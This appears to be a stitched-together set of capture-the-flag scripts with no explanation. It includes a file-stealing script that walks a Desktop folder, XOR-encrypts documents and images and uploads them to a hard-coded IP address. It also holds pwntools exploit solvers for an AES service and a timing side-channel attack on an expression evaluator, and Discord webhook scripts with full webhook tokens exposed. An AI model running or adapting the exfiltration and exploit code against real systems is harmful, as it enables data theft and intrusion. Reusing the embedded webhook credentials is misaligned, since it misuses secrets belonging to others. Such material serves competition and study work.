import os
import requests

key = "G0G0Squ1d3Ncrypt10n"
server = "http://34.134.77.90:8080/upload"

def xor_file(data, key):
    result = bytearray()
    for i in range(len(data)):
        result.append(data[i] ^ ord(key[i % len(key)]))
    return bytes(result)

base_path = r"C:\Users\squid\Desktop"
extensions = ['.docx', '.png', ".jpeg", ".jpg"]

for root, dirs, files in os.walk(base_path):
    for file in files:
        if any(file.endswith(ext) for ext in extensions):
            filepath = os.path.join(root, file)
            try:
                with open(filepath, 'rb') as f:
                    content = f.read()
                
                encrypted = xor_file(content, key)
                hex_data = encrypted.hex()
                requests.post(server, files={'file': (file, hex_data)})
                
                print(f"Sent: {file}")
            except:
                pass

#!/usr/local/bin/python3

import sys
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad

def main():
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <hex_key> <plaintext...>")
        sys.exit(1)

    # arg1 = hex key
    key_hex = sys.argv[1]
    try:
        key = bytes.fromhex(key_hex)
    except ValueError:
        print("Invalid hex key")
        sys.exit(1)

    if len(key) != 16:
        sys.exit(1)

    # arg2..N = plaintext
    pt = "\n".join(sys.argv[2:]).encode()

    iv = get_random_bytes(16)
    cipher = AES.new(key, AES.MODE_CBC, iv)

    ct = cipher.encrypt(pad(pt, AES.block_size))

    print(iv.hex() + ct.hex())

if __name__ == "__main__":
    main()

from pwn import *
from Crypto.Cipher import AES
import time

context.log_level = 'info'
io = remote('34.86.4.154', 5000, timeout=5)

def attempt(attempt_count):
    log.info(f"第 {attempt_count} 次连接")

    try:
        io.recvuntil(b"End with EOF\n", timeout=5)

        key_hex = "0" * 32
        key_bytes = bytes.fromhex(key_hex)
        pad_lines = 5600 # payload行数
        
        payload = (key_hex + "\n") * pad_lines

        io.send(payload.encode())
        io.sendline(b"EOF")

        try:
            io.recvuntil(b"Here is the encryption.\n", timeout=10)
        except Exception:
            io.close()
            return False

        # 接收所有加密数据
        response = io.recvall(timeout=10).decode(errors='ignore').strip()
        io.close()

        if not response:
            return False

        parts = response.split('\n')
        # 过滤空行
        parts = [p for p in parts if p]

        # flag 在后面,倒序检查
        for _, part in enumerate(reversed(parts)):
            try:
                # 修复可能的截断（奇数长度）
                if len(part) % 2 != 0:
                    part = part[:-1]

                iv_hex = part[:32]
                ct_hex = part[32:]
                
                iv = bytes.fromhex(iv_hex)
                ct = bytes.fromhex(ct_hex)

                cipher = AES.new(key_bytes, AES.MODE_CBC, iv)
                decrypted_padded = cipher.decrypt(ct)
                plaintext = decrypted_padded.decode(errors='ignore')

                # 检查 flag
                if "uoftctf{" in plaintext:
                    # 提取 flag
                    start = plaintext.find("flag{")
                    if start == -1: start = plaintext.find("uoftctf")

                    # 打印 flag 行
                    print(plaintext[start:].split('\n')[0])
                    return True
            except Exception:
                continue

        return False

    except Exception as e:
        io.close()
        return False

for i in range(1, 11):
    if attempt(i):
        break
    time.sleep(1)

#!/usr/local/bin/python3
import random
from ast import literal_eval

MAX_NUM = 1<<100
QUOTA = 50

def evaluate(exp, x):
    if isinstance(exp, int) or isinstance(exp, bool):
        return exp
    if isinstance(exp, str):
        if exp == 'x':
            return x
        else:
            raise ValueError("Invalid variable")
    if not isinstance(exp, dict):
        raise ValueError("Invalid expression")
    
    match exp['op']:
        case "and":
            return evaluate(exp['arg1'], x) and evaluate(exp['arg2'], x)
        case "or":
            return evaluate(exp['arg1'], x) or evaluate(exp['arg2'], x)
        case ">":
            return evaluate(exp['arg1'], x) > evaluate(exp['arg2'], x)
        case ">=":
            return evaluate(exp['arg1'], x) >= evaluate(exp['arg2'], x)
        case "<":
            return evaluate(exp['arg1'], x) < evaluate(exp['arg2'], x)
        case "<=":
            return evaluate(exp['arg1'], x) <= evaluate(exp['arg2'], x)
        case "+":
            return evaluate(exp['arg1'], x) + evaluate(exp['arg2'], x)
        case "-":
            return evaluate(exp['arg1'], x) - evaluate(exp['arg2'], x)
        case "*":
            return evaluate(exp['arg1'], x) * evaluate(exp['arg2'], x)
        case "/":
            return evaluate(exp['arg1'], x) // evaluate(exp['arg2'], x)
        case "**":
            return evaluate(exp['arg1'], x) ** evaluate(exp['arg2'], x)
        case "%":
            return evaluate(exp['arg1'], x) % evaluate(exp['arg2'], x)
        case "not":
            return not evaluate(exp['arg1'], x)
        

wins = 0
x = random.randint(0, MAX_NUM)
for i in range(QUOTA):
    expression = literal_eval(input(f"Input your expression ({i}/{QUOTA}): "))
    if bool(evaluate(expression, x)):
        print("Yes!")
    else:
        print("No!")

guess = int(input("Guess the number: "))
if guess == x:
    print("Yay you won! Here is the flag: ")
    print(open("flag.txt", 'r').read())
else:
    print("Wrong. Good luck next time.")

(v >= 3 and 3**P2) or (v >= 2 and 3**P1) or (v >= 1)

from pwn import *
import time

io = remote('35.231.13.90', 5000)

P1 = 1600000   
P2 = 2500000   

# 阈值
LIMIT_FAST = 1.4  # < 1.4s -> 01 (Fast/Jitter)
LIMIT_MED  = 3.6  # < 3.6s -> 10 (Med)
# > 3.6s -> 11 (Slow)


def make_op(op, a1, a2):
    return {'op': op, 'arg1': a1, 'arg2': a2}

def make_delay(power):
    return make_op('**', 3, power)

def get_2bits_val(k):
    # (x // 2^k) % 4
    return make_op('%', make_op('/', 'x', 1 << k), 4)


final_x = 0

print(f"[*] P1={P1}, P2={P2}")
print(f"[*] 阈值: Fast < {LIMIT_FAST}s | Med < {LIMIT_MED}s | Slow > {LIMIT_MED}s")

start_total = time.time()

for i in range(50):
    k = i * 2
    val_exp = get_2bits_val(k)

    # (v>=3 & DelayP2) OR (v>=2 & DelayP1) OR (v>=1)

    term3 = make_op('and', make_op('>=', val_exp, 3), make_delay(P2))
    term2 = make_op('and', make_op('>=', val_exp, 2), make_delay(P1))
    term1 = make_op('>=', val_exp, 1)
    
    payload = make_op('or', term3, make_op('or', term2, term1))
    payload_str = str(payload).replace(" ", "")
    
    io.recvuntil(f"({i}/50): ".encode())
    
    s_time = time.time()
    io.sendline(payload_str.encode())
    resp = io.recvline().strip().decode()
    e_time = time.time()
    
    duration = e_time - s_time
    
    bits_val = 0
    state = "Unknown"
    
    if resp == "No!":
        bits_val = 0
        state = "No  (00)"
    else:
        if duration < LIMIT_FAST:
            bits_val = 1
            state = f"Yes (01) [Fast]"
        elif duration < LIMIT_MED:
            bits_val = 2
            state = f"Yes (10) [Med ]"
        else:
            bits_val = 3
            state = f"Yes (11) [Slow]"
            
    total_elapsed = e_time - start_total
    print(f"[{i:02d}] T:{duration:.4f}s | Bits:{bits_val} | {state} | Total:{total_elapsed:.1f}s")
    
    final_x += bits_val * (1 << k)

print(f"\n[*] x: {final_x}")

io.sendlineafter(b"Guess the number: ", str(final_x).encode())
print(io.recvall(timeout=5).decode())
io.close()

import http.client
import json
from urllib.parse import urlparse

WEBHOOK = "https://discord.com/api/webhooks/1460020912211628155/H_lR5yetAaKK0IotdxvJ3-xC2MinyLF2h4gV_QnGwb9pAI56TJxPNrmpz9-UrgTAL1pd"

p = urlparse(WEBHOOK)
conn = http.client.HTTPSConnection(p.netloc)

payload = {
    "username": "admin",
    "content": "!webhook" 
}

conn.request("POST", p.path, json.dumps(payload), {'Content-Type': 'application/json'})
res = conn.getresponse()
print(res.status)

import http.client
import json
from urllib.parse import urlparse

WEBHOOK = "https://discord.com/api/webhooks/1460022835677495388/mqGeiLb4FMF20t7ZpshWYBMN0SxvRVi-wZGOIwyyJ1CIpJ96LiTVa3oFPqd1H0ojXewR"

p = urlparse(WEBHOOK)
conn = http.client.HTTPSConnection(p.netloc)

payload = {
    "components": [{
        "type": 1,
        "components": [{
            "type": 2,
            "style": 1,
            "label": "checkin",
            "custom_id": "checkin"
        }]
    }]
}

conn.request("POST", p.path, json.dumps(payload), {'Content-Type': 'application/json'})
res = conn.getresponse()
print(res.status)